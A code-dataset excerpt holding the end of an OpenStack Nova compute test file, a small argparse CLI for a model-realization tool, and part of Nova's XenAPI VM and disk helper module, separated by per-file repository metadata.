fake_image.stub_out_image_service(self.stubs) self.stubs.Set(fake_image._FakeImageService, 'show', fake_show) self.compute_api = compute.API() def test_create_instance_with_deleted_image(self): # Make sure we can't start an instance with a deleted image. inst_type = flavors.get_flavor_by_name('m1.tiny') self.assertRaises(exception.ImageNotActive, self.compute_api.create, self.context, inst_type, 'fake-image-uuid') class EvacuateHostTestCase(BaseTestCase): def setUp(self): super(EvacuateHostTestCase, self).setUp() self.inst_ref = jsonutils.to_primitive(self._create_fake_instance ({'host': 'fake_host_2', 'node': 'fakenode2'})) db.instance_update(self.context, self.inst_ref['uuid'], {"task_state": task_states.REBUILDING}) def tearDown(self): db.instance_destroy(self.context, self.inst_ref['uuid']) super(EvacuateHostTestCase, self).tearDown() def _rebuild(self, on_shared_storage=True): orig_image_ref = None image_ref = None injected_files = None self.compute.rebuild_instance( self.context, self.inst_ref, orig_image_ref, image_ref, injected_files, 'newpass', recreate=True, on_shared_storage=on_shared_storage) def test_rebuild_on_host_updated_target(self): """Confirm evacuate scenario updates host and node.""" self.stubs.Set(self.compute.driver, 'instance_on_disk', lambda x: True) def fake_get_compute_info(context, host): self.assertTrue(context.is_admin) self.assertEquals('fake-mini', host) return {'hypervisor_hostname': self.rt.nodename} self.stubs.Set(self.compute, '_get_compute_info', fake_get_compute_info) self.mox.ReplayAll() self._rebuild() # Should be on destination host instance = db.instance_get(self.context, self.inst_ref['id']) self.assertEqual(instance['host'], self.compute.host) self.assertEqual(NODENAME, instance['node']) def test_rebuild_on_host_updated_target_node_not_found(self): """Confirm evacuate scenario where compute_node isn't found.""" self.stubs.Set(self.compute.driver, 'instance_on_disk', lambda x: True) def fake_get_compute_info(context, host): raise exception.NotFound(_("Host %s not found") % host) self.stubs.Set(self.compute, '_get_compute_info', fake_get_compute_info) self.mox.ReplayAll() self._rebuild() # Should be on destination host instance = db.instance_get(self.context, self.inst_ref['id']) self.assertEqual(instance['host'], self.compute.host) self.assertIsNone(instance['node']) def test_rebuild_with_instance_in_stopped_state(self): """Confirm evacuate scenario updates vm_state to stopped if instance is in stopped state """ #Initialize the VM to stopped state db.instance_update(self.context, self.inst_ref['uuid'], {"vm_state": vm_states.STOPPED}) self.inst_ref['vm_state'] = vm_states.STOPPED self.stubs.Set(self.compute.driver, 'instance_on_disk', lambda x: True) self.mox.ReplayAll() self._rebuild() #Check the vm state is reset to stopped instance = db.instance_get(self.context, self.inst_ref['id']) self.assertEqual(instance['vm_state'], vm_states.STOPPED) def test_rebuild_with_wrong_shared_storage(self): """Confirm evacuate scenario does not update host.""" self.stubs.Set(self.compute.driver, 'instance_on_disk', lambda x: True) self.mox.ReplayAll() self.assertRaises(exception.InvalidSharedStorage, lambda: self._rebuild(on_shared_storage=False)) # Should remain on original host instance = db.instance_get(self.context, self.inst_ref['id']) self.assertEqual(instance['host'], 'fake_host_2') def test_rebuild_on_host_with_volumes(self): """Confirm evacuate scenario reconnects volumes.""" values = {'instance_uuid': self.inst_ref['uuid'], 'device_name': '/dev/vdc', 'delete_on_termination': False, 'volume_id': 'fake_volume_id'} db.block_device_mapping_create(self.context, values) def fake_volume_get(self, context, volume): return {'id': 'fake_volume_id'} self.stubs.Set(cinder.API, "get", fake_volume_get) # Stub out and record whether it gets detached result = {"detached": False} def fake_detach(self, context, volume): result["detached"] = volume["id"] == 'fake_volume_id' self.stubs.Set(cinder.API, "detach", fake_detach) def fake_terminate_connection(self, context, volume, connector): return {} self.stubs.Set(cinder.API, "terminate_connection", fake_terminate_connection) # make sure volumes attach, detach are called self.mox.StubOutWithMock(self.compute.volume_api, 'detach') self.compute.volume_api.detach(mox.IsA(self.context), mox.IgnoreArg()) self.mox.StubOutWithMock(self.compute, '_setup_block_device_mapping') self.compute._setup_block_device_mapping(mox.IsA(self.context), mox.IsA(self.inst_ref), mox.IgnoreArg()) self.stubs.Set(self.compute.driver, 'instance_on_disk', lambda x: True) self.mox.ReplayAll() self._rebuild() # cleanup for bdms in db.block_device_mapping_get_all_by_instance( self.context, self.inst_ref['uuid']): db.block_device_mapping_destroy(self.context, bdms['id']) def test_rebuild_on_host_with_shared_storage(self): """Confirm evacuate scenario on shared storage.""" self.mox.StubOutWithMock(self.compute.driver, 'spawn') self.compute.driver.spawn(mox.IsA(self.context), mox.IsA(self.inst_ref), {}, mox.IgnoreArg(), 'newpass', network_info=mox.IgnoreArg(), block_device_info=mox.IgnoreArg()) self.stubs.Set(self.compute.driver, 'instance_on_disk', lambda x: True) self.mox.ReplayAll() self._rebuild() def test_rebuild_on_host_without_shared_storage(self): """Confirm evacuate scenario without shared storage (rebuild from image) """ fake_image = {'id': 1, 'name': 'fake_name', 'properties': {'kernel_id': 'fake_kernel_id', 'ramdisk_id': 'fake_ramdisk_id'}} self.mox.StubOutWithMock(self.compute.driver, 'spawn') self.compute.driver.spawn(mox.IsA(self.context), mox.IsA(self.inst_ref), mox.IsA(fake_image), mox.IgnoreArg(), mox.IsA('newpass'), network_info=mox.IgnoreArg(), block_device_info=mox.IgnoreArg()) self.stubs.Set(self.compute.driver, 'instance_on_disk', lambda x: False) self.mox.ReplayAll() self._rebuild(on_shared_storage=False) def test_rebuild_on_host_instance_exists(self): """Rebuild if instance exists raises an exception.""" db.instance_update(self.context, self.inst_ref['uuid'], {"task_state": task_states.SCHEDULING}) self.compute.run_instance(self.context, instance=self.inst_ref) self.stubs.Set(self.compute.driver, 'instance_on_disk', lambda x: True) self.assertRaises(exception.InstanceExists, lambda: self._rebuild(on_shared_storage=True)) def test_driver_doesnt_support_recreate(self): with utils.temporary_mutation(self.compute.driver.capabilities, supports_recreate=False): self.stubs.Set(self.compute.driver, 'instance_on_disk', lambda x: True) self.assertRaises(exception.InstanceRecreateNotSupported, lambda: self._rebuild(on_shared_storage=True)) class ComputeInjectedFilesTestCase(BaseTestCase): # Test that running instances with injected_files decodes files correctly def setUp(self): super(ComputeInjectedFilesTestCase, self).setUp() self.instance = self._create_fake_instance() self.stubs.Set(self.compute.driver, 'spawn', self._spawn) def _spawn(self, context, instance, image_meta, injected_files, admin_password, nw_info, block_device_info): self.assertEqual(self.expected, injected_files) def _test(self, injected_files, decoded_files): self.expected = decoded_files self.compute.run_instance(self.context, self.instance, injected_files=injected_files) def test_injected_none(self): # test an input of None for injected_files self._test(None, []) def test_injected_empty(self): # test an input of [] for injected_files self._test([], []) def test_injected_success(self): # test with valid b64 encoded content. injected_files = [ ('/a/b/c', base64.b64encode('foobarbaz')), ('/d/e/f', base64.b64encode('seespotrun')), ] decoded_files = [ ('/a/b/c', 'foobarbaz'), ('/d/e/f', 'seespotrun'), ] self._test(injected_files, decoded_files) def test_injected_invalid(self): # test with invalid b64 encoded content injected_files = [ ('/a/b/c', base64.b64encode('foobarbaz')), ('/d/e/f', 'seespotrun'), ] self.assertRaises(exception.Base64Exception, self.compute.run_instance, self.context, self.instance, injected_files=injected_files) def test_reschedule(self): # test that rescheduling is done with original encoded files expected = [ ('/a/b/c', base64.b64encode('foobarbaz')), ('/d/e/f', base64.b64encode('seespotrun')), ] def _roe(context, instance, exc_info, requested_networks, admin_password, injected_files, is_first_time, request_spec, filter_properties, bdms=None): self.assertEqual(expected, injected_files) return True def spawn_explode(context, instance, image_meta, injected_files, admin_password, nw_info, block_device_info): # force reschedule logic to execute raise test.TestingException(_("spawn error")) self.stubs.Set(self.compute.driver, 'spawn', spawn_explode) self.stubs.Set(self.compute, '_reschedule_or_error', _roe) self.compute.run_instance(self.context, self.instance, injected_files=expected) class CheckConfigDriveTestCase(test.TestCase): # NOTE(sirp): `TestCase` is far too heavyweight for this test, this should # probably derive from a `test.FastTestCase` that omits DB and env # handling def setUp(self): super(CheckConfigDriveTestCase, self).setUp() self.compute_api = compute.API() def _assertCheck(self, expected, config_drive): self.assertEqual(expected, self.compute_api._check_config_drive(config_drive)) def _assertInvalid(self, config_drive): self.assertRaises(exception.ConfigDriveInvalidValue, self.compute_api._check_config_drive, config_drive) def test_config_drive_false_values(self): self._assertCheck('', None) self._assertCheck('', '') self._assertCheck('', 'False') self._assertCheck('', 'f') self._assertCheck('', '0') def test_config_drive_true_values(self): self._assertCheck(True, 'True') self._assertCheck(True, 't') self._assertCheck(True, '1') def test_config_drive_bogus_values_raise(self): self._assertInvalid('asd') self._assertInvalid(uuidutils.generate_uuid()) class CheckRequestedImageTestCase(test.TestCase): def setUp(self): super(CheckRequestedImageTestCase, self).setUp() self.compute_api = compute.API() self.context = context.RequestContext( 'fake_user_id', 'fake_project_id') self.instance_type = flavors.get_default_flavor() self.instance_type['memory_mb'] = 64 self.instance_type['root_gb'] = 1 def test_no_image_specified(self): self.compute_api._check_requested_image(self.context, None, {}, self.instance_type) def test_image_status_must_be_active(self): image = dict(id='123', status='foo') self.assertRaises(exception.ImageNotActive, self.compute_api._check_requested_image, self.context, image['id'], image, self.instance_type) image['status'] = 'active' self.compute_api._check_requested_image(self.context, image['id'], image, self.instance_type) def test_image_min_ram_check(self): image = dict(id='123', status='active', min_ram='65') self.assertRaises(exception.InstanceTypeMemoryTooSmall, self.compute_api._check_requested_image, self.context, image['id'], image, self.instance_type) image['min_ram'] = '64' self.compute_api._check_requested_image(self.context, image['id'], image, self.instance_type) def test_image_min_disk_check(self): image = dict(id='123', status='active', min_disk='2') self.assertRaises(exception.InstanceTypeDiskTooSmall, self.compute_api._check_requested_image, self.context, image['id'], image, self.instance_type) image['min_disk'] = '1' self.compute_api._check_requested_image(self.context, image['id'], image, self.instance_type) def test_image_too_large(self): image = dict(id='123', status='active', size='1073741825') self.assertRaises(exception.InstanceTypeDiskTooSmall, self.compute_api._check_requested_image, self.context, image['id'], image, self.instance_type) image['size'] = '1073741824' self.compute_api._check_requested_image(self.context, image['id'], image, self.instance_type) def test_root_gb_zero_disables_size_check(self): self.instance_type['root_gb'] = 0 image = dict(id='123', status='active', size='1073741825') self.compute_api._check_requested_image(self.context, image['id'], image, self.instance_type) def test_root_gb_zero_disables_min_disk(self): self.instance_type['root_gb'] = 0 image = dict(id='123', status='active', min_disk='2') self.compute_api._check_requested_image(self.context, image['id'], image, self.instance_type) class ComputeAPIClassNameTestCase(test.TestCase): def setUp(self): super(ComputeAPIClassNameTestCase, self).setUp() def test_default_compute_api_class_name(self): result = compute._get_compute_api_class_name() self.assertEqual('nova.compute.api.API', result) def test_cell_compute_api_class_name(self): self.flags(enable=True, group='cells') self.flags(cell_type='api', group='cells') result = compute._get_compute_api_class_name() self.assertEqual('nova.compute.cells_api.ComputeCellsAPI', result) self.flags(cell_type='compute', group='cells') result = compute._get_compute_api_class_name() self.assertEqual('nova.compute.api.API', result) def test_cell_compute_api_class_name_deprecated(self): self.flags(enable=True, group='cells') self.flags(cell_type='', group='cells') api_cls_name = 'nova.compute.cells_api.ComputeCellsAPI' self.flags(compute_api_class=api_cls_name) result = compute._get_compute_api_class_name() self.assertEqual('nova.compute.cells_api.ComputeCellsAPI', result) api_cls_name = 'nova.compute.api.API' self.flags(compute_api_class=api_cls_name) result = compute._get_compute_api_class_name() self.assertEqual('nova.compute.api.API', result) def test_illegal_cell_compute_api_class_name(self): self.flags(enable=True, group='cells') self.flags(cell_type='fake_cell_type', group='cells') self.assertRaises(exception.InvalidInput, compute._get_compute_api_class_name)
44.147937
79
0.612695
79594a6cef04e3396940cdd474affc9cfe72f2f1
826
py
Python
camp_real_engine/cli.py
vassik/camp-realize
be65af18dd6deb800695988700730d2c3fb279cf
[ "MIT" ]
null
null
null
camp_real_engine/cli.py
vassik/camp-realize
be65af18dd6deb800695988700730d2c3fb279cf
[ "MIT" ]
null
null
null
camp_real_engine/cli.py
vassik/camp-realize
be65af18dd6deb800695988700730d2c3fb279cf
[ "MIT" ]
null
null
null
import argparse from camp_real_engine.engine import RealizationEngine class CLI(object): def __init__(self): self.parser = argparse.ArgumentParser(prog='rcamp', description='CAMP Realization Tool') self.parser.add_argument('realize', nargs=1, help='"realize" is a command to start realization') self.parser.add_argument('path', nargs=1, help='path to file with with model to realize') def execute(self, command): parsed_args = self.parser.parse_args(command) args_dict = vars(parsed_args) command = args_dict.get('realize')[0] if command == 'realize': model_path = args_dict.get('path')[0] real_engine = RealizationEngine() products = real_engine.get_products(model_path) for product in products: print product real_engine.realize_product(product) else: self.parser.print_help()
30.592593
98
0.745763
79594af5a913a347dca8e86d2ca9e721ca9a822e
98,962
py
Python
nova/virt/xenapi/vm_utils.py
Nexenta/nova
ccecb507ff4bdcdd23d90e7b5b02a22c5a46ecc3
[ "Apache-2.0" ]
1
2020-08-14T02:20:59.000Z
2020-08-14T02:20:59.000Z
nova/virt/xenapi/vm_utils.py
Nexenta/nova
ccecb507ff4bdcdd23d90e7b5b02a22c5a46ecc3
[ "Apache-2.0" ]
2
2021-03-31T20:04:16.000Z
2021-12-13T20:45:03.000Z
nova/virt/xenapi/vm_utils.py
Nexenta/nova
ccecb507ff4bdcdd23d90e7b5b02a22c5a46ecc3
[ "Apache-2.0" ]
1
2020-07-24T02:31:45.000Z
2020-07-24T02:31:45.000Z
# Copyright (c) 2010 Citrix Systems, Inc. # Copyright 2011 Piston Cloud Computing, Inc. # Copyright 2012 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ Helper methods for operations related to the management of VM records and their attributes like VDIs, VIFs, as well as their lookup functions. """ import contextlib import math import os import time from xml.dom import minidom from xml.parsers import expat from eventlet import greenthread from os_xenapi.client import disk_management from os_xenapi.client import host_network from os_xenapi.client import vm_management from oslo_concurrency import processutils from oslo_log import log as logging from oslo_utils import excutils from oslo_utils import strutils from oslo_utils import timeutils from oslo_utils import units from oslo_utils import uuidutils from oslo_utils import versionutils import six from six.moves import range import six.moves.urllib.parse as urlparse import six.moves.urllib.request as urlrequest from nova.api.metadata import base as instance_metadata from nova.compute import power_state from nova.compute import task_states from nova.compute import utils as compute_utils import nova.conf from nova import exception from nova.i18n import _ from nova.network import model as network_model from nova.objects import diagnostics from nova.objects import fields as obj_fields import nova.privsep.fs import nova.privsep.xenapi from nova import utils from nova.virt import configdrive from nova.virt.disk import api as disk from nova.virt.disk.vfs import localfs as vfsimpl from nova.virt import hardware from nova.virt.image import model as imgmodel from nova.virt import netutils from nova.virt.xenapi import agent from nova.virt.xenapi.image import utils as image_utils from nova.virt.xenapi import volume_utils LOG = logging.getLogger(__name__) CONF = nova.conf.CONF XENAPI_POWER_STATE = { 'Halted': power_state.SHUTDOWN, 'Running': power_state.RUNNING, 'Paused': power_state.PAUSED, 'Suspended': power_state.SUSPENDED, 'Crashed': power_state.CRASHED} SECTOR_SIZE = 512 MBR_SIZE_SECTORS = 63 MBR_SIZE_BYTES = MBR_SIZE_SECTORS * SECTOR_SIZE MAX_VDI_CHAIN_SIZE = 16 PROGRESS_INTERVAL_SECONDS = 300 DD_BLOCKSIZE = 65536 # Fudge factor to allow for the VHD chain to be slightly larger than # the partitioned space. Otherwise, legitimate images near their # maximum allowed size can fail on build with FlavorDiskSmallerThanImage. VHD_SIZE_CHECK_FUDGE_FACTOR_GB = 10 class ImageType(object): """Enumeration class for distinguishing different image types | 0 - kernel image (goes on dom0's filesystem) | 1 - ramdisk image (goes on dom0's filesystem) | 2 - disk image (local SR, partitioned by objectstore plugin) | 3 - raw disk image (local SR, NOT partitioned by plugin) | 4 - vhd disk image (local SR, NOT inspected by XS, PV assumed for | linux, HVM assumed for Windows) | 5 - ISO disk image (local SR, NOT partitioned by plugin) | 6 - config drive """ KERNEL = 0 RAMDISK = 1 DISK = 2 DISK_RAW = 3 DISK_VHD = 4 DISK_ISO = 5 DISK_CONFIGDRIVE = 6 _ids = (KERNEL, RAMDISK, DISK, DISK_RAW, DISK_VHD, DISK_ISO, DISK_CONFIGDRIVE) KERNEL_STR = "kernel" RAMDISK_STR = "ramdisk" DISK_STR = "root" DISK_RAW_STR = "os_raw" DISK_VHD_STR = "vhd" DISK_ISO_STR = "iso" DISK_CONFIGDRIVE_STR = "configdrive" _strs = (KERNEL_STR, RAMDISK_STR, DISK_STR, DISK_RAW_STR, DISK_VHD_STR, DISK_ISO_STR, DISK_CONFIGDRIVE_STR) @classmethod def to_string(cls, image_type): return dict(zip(cls._ids, ImageType._strs)).get(image_type) @classmethod def get_role(cls, image_type_id): """Get the role played by the image, based on its type.""" return { cls.KERNEL: 'kernel', cls.RAMDISK: 'ramdisk', cls.DISK: 'root', cls.DISK_RAW: 'root', cls.DISK_VHD: 'root', cls.DISK_ISO: 'iso', cls.DISK_CONFIGDRIVE: 'configdrive' }.get(image_type_id) def get_vm_device_id(session, image_meta): # NOTE: device_id should be 2 for windows VMs which run new xentools # (>=6.1). Refer to http://support.citrix.com/article/CTX135099 for more # information. device_id = image_meta.properties.get('hw_device_id') # The device_id is required to be set for hypervisor version 6.1 and above if device_id: hypervisor_version = session.product_version if _hypervisor_supports_device_id(hypervisor_version): return device_id else: msg = _("Device id %(id)s specified is not supported by " "hypervisor version %(version)s") % {'id': device_id, 'version': hypervisor_version} raise exception.NovaException(msg) def _hypervisor_supports_device_id(version): version_as_string = '.'.join(str(v) for v in version) return versionutils.is_compatible('6.1', version_as_string) def create_vm(session, instance, name_label, kernel, ramdisk, use_pv_kernel=False, device_id=None): """Create a VM record. Returns new VM reference. the use_pv_kernel flag indicates whether the guest is HVM or PV There are 3 scenarios: 1. Using paravirtualization, kernel passed in 2. Using paravirtualization, kernel within the image 3. Using hardware virtualization """ flavor = instance.get_flavor() mem = str(int(flavor.memory_mb) * units.Mi) vcpus = str(flavor.vcpus) vcpu_weight = flavor.vcpu_weight vcpu_params = {} if vcpu_weight is not None: # NOTE(johngarbutt) bug in XenServer 6.1 and 6.2 means # we need to specify both weight and cap for either to apply vcpu_params = {"weight": str(vcpu_weight), "cap": "0"} cpu_mask_list = hardware.get_vcpu_pin_set() if cpu_mask_list: cpu_mask = hardware.format_cpu_spec(cpu_mask_list, allow_ranges=False) vcpu_params["mask"] = cpu_mask viridian = 'true' if instance['os_type'] == 'windows' else 'false' rec = { 'actions_after_crash': 'destroy', 'actions_after_reboot': 'restart', 'actions_after_shutdown': 'destroy', 'affinity': '', 'blocked_operations': {}, 'ha_always_run': False, 'ha_restart_priority': '', 'HVM_boot_params': {}, 'HVM_boot_policy': '', 'is_a_template': False, 'memory_dynamic_min': mem, 'memory_dynamic_max': mem, 'memory_static_min': '0', 'memory_static_max': mem, 'memory_target': mem, 'name_description': '', 'name_label': name_label, 'other_config': {'nova_uuid': str(instance['uuid'])}, 'PCI_bus': '', 'platform': {'acpi': 'true', 'apic': 'true', 'pae': 'true', 'viridian': viridian, 'timeoffset': '0'}, 'PV_args': '', 'PV_bootloader': '', 'PV_bootloader_args': '', 'PV_kernel': '', 'PV_legacy_args': '', 'PV_ramdisk': '', 'recommendations': '', 'tags': [], 'user_version': '0', 'VCPUs_at_startup': vcpus, 'VCPUs_max': vcpus, 'VCPUs_params': vcpu_params, 'xenstore_data': {'vm-data/allowvssprovider': 'false'}} # Complete VM configuration record according to the image type # non-raw/raw with PV kernel/raw in HVM mode if use_pv_kernel: rec['platform']['nx'] = 'false' if instance['kernel_id']: # 1. Kernel explicitly passed in, use that rec['PV_args'] = 'root=/dev/xvda1' rec['PV_kernel'] = kernel rec['PV_ramdisk'] = ramdisk else: # 2. Use kernel within the image rec['PV_bootloader'] = 'pygrub' else: # 3. Using hardware virtualization rec['platform']['nx'] = 'true' rec['HVM_boot_params'] = {'order': 'dc'} rec['HVM_boot_policy'] = 'BIOS order' if device_id: rec['platform']['device_id'] = str(device_id).zfill(4) vm_ref = session.VM.create(rec) LOG.debug('Created VM', instance=instance) return vm_ref def destroy_vm(session, instance, vm_ref): """Destroys a VM record.""" try: session.VM.destroy(vm_ref) except session.XenAPI.Failure: LOG.exception('Destroy VM failed') return LOG.debug("VM destroyed", instance=instance) def clean_shutdown_vm(session, instance, vm_ref): if is_vm_shutdown(session, vm_ref): LOG.warning("VM already halted, skipping shutdown...", instance=instance) return True LOG.debug("Shutting down VM (cleanly)", instance=instance) try: session.call_xenapi('VM.clean_shutdown', vm_ref) except session.XenAPI.Failure: LOG.exception('Shutting down VM (cleanly) failed.') return False return True def hard_shutdown_vm(session, instance, vm_ref): if is_vm_shutdown(session, vm_ref): LOG.warning("VM already halted, skipping shutdown...", instance=instance) return True LOG.debug("Shutting down VM (hard)", instance=instance) try: session.call_xenapi('VM.hard_shutdown', vm_ref) except session.XenAPI.Failure: LOG.exception('Shutting down VM (hard) failed') return False return True def is_vm_shutdown(session, vm_ref): state = get_power_state(session, vm_ref) if state == power_state.SHUTDOWN: return True return False def is_enough_free_mem(session, instance): flavor = instance.get_flavor() mem = int(flavor.memory_mb) * units.Mi host_free_mem = int(session.call_xenapi("host.compute_free_memory", session.host_ref)) return host_free_mem >= mem def _should_retry_unplug_vbd(err): """Retry if failed with some specific errors. The retrable errors include: 1. DEVICE_DETACH_REJECTED For reasons which we don't understand, we're seeing the device still in use, even when all processes using the device should be dead. 2. INTERNAL_ERROR Since XenServer 6.2, we also need to retry if we get INTERNAL_ERROR, as that error goes away when you retry. 3. VM_MISSING_PV_DRIVERS NOTE(jianghuaw): It requires some time for PV(Paravirtualization) driver to be connected at VM booting, so retry if unplug failed with VM_MISSING_PV_DRIVERS. """ can_retry_errs = ( 'DEVICE_DETACH_REJECTED', 'INTERNAL_ERROR', 'VM_MISSING_PV_DRIVERS', ) return err in can_retry_errs def unplug_vbd(session, vbd_ref, this_vm_ref): # make sure that perform at least once max_attempts = max(0, CONF.xenserver.num_vbd_unplug_retries) + 1 for num_attempt in range(1, max_attempts + 1): try: if num_attempt > 1: greenthread.sleep(1) session.VBD.unplug(vbd_ref, this_vm_ref) return except session.XenAPI.Failure as exc: err = len(exc.details) > 0 and exc.details[0] if err == 'DEVICE_ALREADY_DETACHED': LOG.info('VBD %s already detached', vbd_ref) return elif _should_retry_unplug_vbd(err): LOG.info('VBD %(vbd_ref)s unplug failed with "%(err)s", ' 'attempt %(num_attempt)d/%(max_attempts)d', {'vbd_ref': vbd_ref, 'num_attempt': num_attempt, 'max_attempts': max_attempts, 'err': err}) else: LOG.exception('Unable to unplug VBD') raise exception.StorageError( reason=_('Unable to unplug VBD %s') % vbd_ref) raise exception.StorageError( reason=_('Reached maximum number of retries ' 'trying to unplug VBD %s') % vbd_ref) def destroy_vbd(session, vbd_ref): """Destroy VBD from host database.""" try: session.call_xenapi('VBD.destroy', vbd_ref) except session.XenAPI.Failure: LOG.exception('Unable to destroy VBD') raise exception.StorageError( reason=_('Unable to destroy VBD %s') % vbd_ref) def create_vbd(session, vm_ref, vdi_ref, userdevice, vbd_type='disk', read_only=False, bootable=False, osvol=False, empty=False, unpluggable=True): """Create a VBD record and returns its reference.""" vbd_rec = {} vbd_rec['VM'] = vm_ref if vdi_ref is None: vdi_ref = 'OpaqueRef:NULL' vbd_rec['VDI'] = vdi_ref vbd_rec['userdevice'] = str(userdevice) vbd_rec['bootable'] = bootable vbd_rec['mode'] = read_only and 'RO' or 'RW' vbd_rec['type'] = vbd_type vbd_rec['unpluggable'] = unpluggable vbd_rec['empty'] = empty vbd_rec['other_config'] = {} vbd_rec['qos_algorithm_type'] = '' vbd_rec['qos_algorithm_params'] = {} vbd_rec['qos_supported_algorithms'] = [] LOG.debug('Creating %(vbd_type)s-type VBD for VM %(vm_ref)s,' ' VDI %(vdi_ref)s ... ', {'vbd_type': vbd_type, 'vm_ref': vm_ref, 'vdi_ref': vdi_ref}) vbd_ref = session.call_xenapi('VBD.create', vbd_rec) LOG.debug('Created VBD %(vbd_ref)s for VM %(vm_ref)s,' ' VDI %(vdi_ref)s.', {'vbd_ref': vbd_ref, 'vm_ref': vm_ref, 'vdi_ref': vdi_ref}) if osvol: # set osvol=True in other-config to indicate this is an # attached nova (or cinder) volume session.call_xenapi('VBD.add_to_other_config', vbd_ref, 'osvol', 'True') return vbd_ref def attach_cd(session, vm_ref, vdi_ref, userdevice): """Create an empty VBD, then insert the CD.""" vbd_ref = create_vbd(session, vm_ref, None, userdevice, vbd_type='cd', read_only=True, bootable=True, empty=True, unpluggable=False) session.call_xenapi('VBD.insert', vbd_ref, vdi_ref) return vbd_ref def destroy_vdi(session, vdi_ref): try: session.call_xenapi('VDI.destroy', vdi_ref) except session.XenAPI.Failure: LOG.debug("Unable to destroy VDI %s", vdi_ref, exc_info=True) msg = _("Unable to destroy VDI %s") % vdi_ref LOG.error(msg) raise exception.StorageError(reason=msg) def safe_destroy_vdis(session, vdi_refs): """Tries to destroy the requested VDIs, but ignores any errors.""" for vdi_ref in vdi_refs: try: destroy_vdi(session, vdi_ref) except exception.StorageError: LOG.debug("Ignoring error while destroying VDI: %s", vdi_ref) def create_vdi(session, sr_ref, instance, name_label, disk_type, virtual_size, read_only=False): """Create a VDI record and returns its reference.""" vdi_ref = session.call_xenapi("VDI.create", {'name_label': name_label, 'name_description': disk_type, 'SR': sr_ref, 'virtual_size': str(virtual_size), 'type': 'User', 'sharable': False, 'read_only': read_only, 'xenstore_data': {}, 'other_config': _get_vdi_other_config(disk_type, instance=instance), 'sm_config': {}, 'tags': []}) LOG.debug('Created VDI %(vdi_ref)s (%(name_label)s,' ' %(virtual_size)s, %(read_only)s) on %(sr_ref)s.', {'vdi_ref': vdi_ref, 'name_label': name_label, 'virtual_size': virtual_size, 'read_only': read_only, 'sr_ref': sr_ref}) return vdi_ref @contextlib.contextmanager def _dummy_vm(session, instance, vdi_ref): """This creates a temporary VM so that we can snapshot a VDI. VDI's can't be snapshotted directly since the API expects a `vm_ref`. To work around this, we need to create a temporary VM and then map the VDI to the VM using a temporary VBD. """ name_label = "dummy" vm_ref = create_vm(session, instance, name_label, None, None) try: vbd_ref = create_vbd(session, vm_ref, vdi_ref, 'autodetect', read_only=True) try: yield vm_ref finally: try: destroy_vbd(session, vbd_ref) except exception.StorageError: # destroy_vbd() will log error pass finally: destroy_vm(session, instance, vm_ref) def _safe_copy_vdi(session, sr_ref, instance, vdi_to_copy_ref): """Copy a VDI and return the new VDIs reference. This function differs from the XenAPI `VDI.copy` call in that the copy is atomic and isolated, meaning we don't see half-downloaded images. It accomplishes this by copying the VDI's into a temporary directory and then atomically renaming them into the SR when the copy is completed. The correct long term solution is to fix `VDI.copy` so that it is atomic and isolated. """ with _dummy_vm(session, instance, vdi_to_copy_ref) as vm_ref: label = "snapshot" with snapshot_attached_here( session, instance, vm_ref, label) as vdi_uuids: sr_path = get_sr_path(session, sr_ref=sr_ref) uuid_stack = _make_uuid_stack() imported_vhds = disk_management.safe_copy_vdis( session, sr_path, vdi_uuids, uuid_stack) root_uuid = imported_vhds['root']['uuid'] # rescan to discover new VHDs scan_default_sr(session) vdi_ref = session.call_xenapi('VDI.get_by_uuid', root_uuid) return vdi_ref def _clone_vdi(session, vdi_to_clone_ref): """Clones a VDI and return the new VDIs reference.""" vdi_ref = session.call_xenapi('VDI.clone', vdi_to_clone_ref) LOG.debug('Cloned VDI %(vdi_ref)s from VDI ' '%(vdi_to_clone_ref)s', {'vdi_ref': vdi_ref, 'vdi_to_clone_ref': vdi_to_clone_ref}) return vdi_ref def _get_vdi_other_config(disk_type, instance=None): """Return metadata to store in VDI's other_config attribute. `nova_instance_uuid` is used to associate a VDI with a particular instance so that, if it becomes orphaned from an unclean shutdown of a compute-worker, we can safely detach it. """ other_config = {'nova_disk_type': disk_type} # create_vdi may be called simply while creating a volume # hence information about instance may or may not be present if instance: other_config['nova_instance_uuid'] = instance['uuid'] return other_config def _set_vdi_info(session, vdi_ref, vdi_type, name_label, description, instance): existing_other_config = session.call_xenapi('VDI.get_other_config', vdi_ref) session.call_xenapi('VDI.set_name_label', vdi_ref, name_label) session.call_xenapi('VDI.set_name_description', vdi_ref, description) other_config = _get_vdi_other_config(vdi_type, instance=instance) for key, value in other_config.items(): if key not in existing_other_config: session.call_xenapi( "VDI.add_to_other_config", vdi_ref, key, value) def _vm_get_vbd_refs(session, vm_ref): return session.call_xenapi("VM.get_VBDs", vm_ref) def _vbd_get_rec(session, vbd_ref): return session.call_xenapi("VBD.get_record", vbd_ref) def _vdi_get_rec(session, vdi_ref): return session.call_xenapi("VDI.get_record", vdi_ref) def _vdi_get_uuid(session, vdi_ref): return session.call_xenapi("VDI.get_uuid", vdi_ref) def _vdi_snapshot(session, vdi_ref): return session.call_xenapi("VDI.snapshot", vdi_ref, {}) def get_vdi_for_vm_safely(session, vm_ref, userdevice='0'): """Retrieves the primary VDI for a VM.""" vbd_refs = _vm_get_vbd_refs(session, vm_ref) for vbd_ref in vbd_refs: vbd_rec = _vbd_get_rec(session, vbd_ref) # Convention dictates the primary VDI will be userdevice 0 if vbd_rec['userdevice'] == userdevice: vdi_ref = vbd_rec['VDI'] vdi_rec = _vdi_get_rec(session, vdi_ref) return vdi_ref, vdi_rec raise exception.NovaException(_("No primary VDI found for %s") % vm_ref) def get_all_vdi_uuids_for_vm(session, vm_ref, min_userdevice=0): vbd_refs = _vm_get_vbd_refs(session, vm_ref) for vbd_ref in vbd_refs: vbd_rec = _vbd_get_rec(session, vbd_ref) if int(vbd_rec['userdevice']) >= min_userdevice: vdi_ref = vbd_rec['VDI'] yield _vdi_get_uuid(session, vdi_ref) def _try_strip_base_mirror_from_vdi(session, vdi_ref): try: session.call_xenapi("VDI.remove_from_sm_config", vdi_ref, "base_mirror") except session.XenAPI.Failure: LOG.debug("Error while removing sm_config", exc_info=True) def strip_base_mirror_from_vdis(session, vm_ref): # NOTE(johngarbutt) part of workaround for XenServer bug CA-98606 